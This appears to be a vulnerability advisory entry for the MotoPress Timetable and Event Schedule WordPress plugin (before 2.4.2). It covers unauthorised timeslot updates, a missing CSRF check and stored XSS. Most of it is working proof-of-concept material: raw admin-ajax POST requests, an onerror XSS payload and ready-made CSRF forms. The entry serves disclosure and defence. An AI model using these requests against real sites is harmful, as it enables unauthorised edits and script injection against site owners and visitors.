Lucene search

K
wpexploitDc11WPEX-ID:60EADF75-8298-49DE-877E-CE103FC34D58
HistoryAug 23, 2021 - 12:00 a.m.

Timetable and Event Schedule by MotoPress < 2.4.2 - Unauthorised Event TimeSlot Update

2021-08-2300:00:00
dc11
387

0.001 Low

EPSS

Percentile

21.4%

The plugin does not have proper access control when updating a timeslot, allowing any user with the edit_posts capability (contributor+) to update arbitrary timeslot from any events. Furthermore, no CSRF check is in place as well, allowing such attack to be perform via CSRF against a logged in with such capability. In versions before 2.3.19, the lack of sanitisation and escaping in some of the fields, like the descritption could also lead to Stored XSS issues

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 191
Connection: close
Cookie: [author+]

controller=events&data%5Bid%5D=2&data%5Bdescription%5D=AttackerDescription&data%5Buser_id%5D=1&data%5Bweekday_ids%5D=1327&mptt_action=update_event_data&action=route_url

Via CSRF:
<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="controller" value="events" />
      <input type="hidden" name="data[id]" value="2" />
      <input type="hidden" name="data[description]" value="AttackerDescription" />
      <input type="hidden" name="data[user_id]" value="1" />
      <input type="hidden" name="data[weekday_ids]" value="1327" />
      <input type="hidden" name="mptt_action" value="update_event_data" />
      <input type="hidden" name="action" value="route_url" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>


XSS in v < 2.3.19

POST /wp-admin/admin-ajax.php HTTP/1.1
Accept: */*
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 189
Connection: close
Cookie: [authpr+]

controller=events&data%5Bid%5D=2&data%5Bdescription%5D=%3Cimg+src+onerror%3Dalert(%2FXSS%2F)%3E&data%5Buser_id%5D=1&data%5Bweekday_ids%5D=1327&mptt_action=update_event_data&action=route_url

Via CSRF:

<html>
  <body>
    <form action="https://example.com/wp-admin/admin-ajax.php" method="POST">
      <input type="hidden" name="controller" value="events" />
      <input type="hidden" name="data[id]" value="2" />
      <input type="hidden" name="data[description]" value="<img src onerror=alert(/XSS/)>" />
      <input type="hidden" name="data[user_id]" value="1" />
      <input type="hidden" name="data[weekday_ids]" value="1327" />
      <input type="hidden" name="mptt_action" value="update_event_data" />
      <input type="hidden" name="action" value="route_url" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

XSS will be trigged in the frontend when viewing the event, and backend when editing it

0.001 Low

EPSS

Percentile

21.4%

Related for WPEX-ID:60EADF75-8298-49DE-877E-CE103FC34D58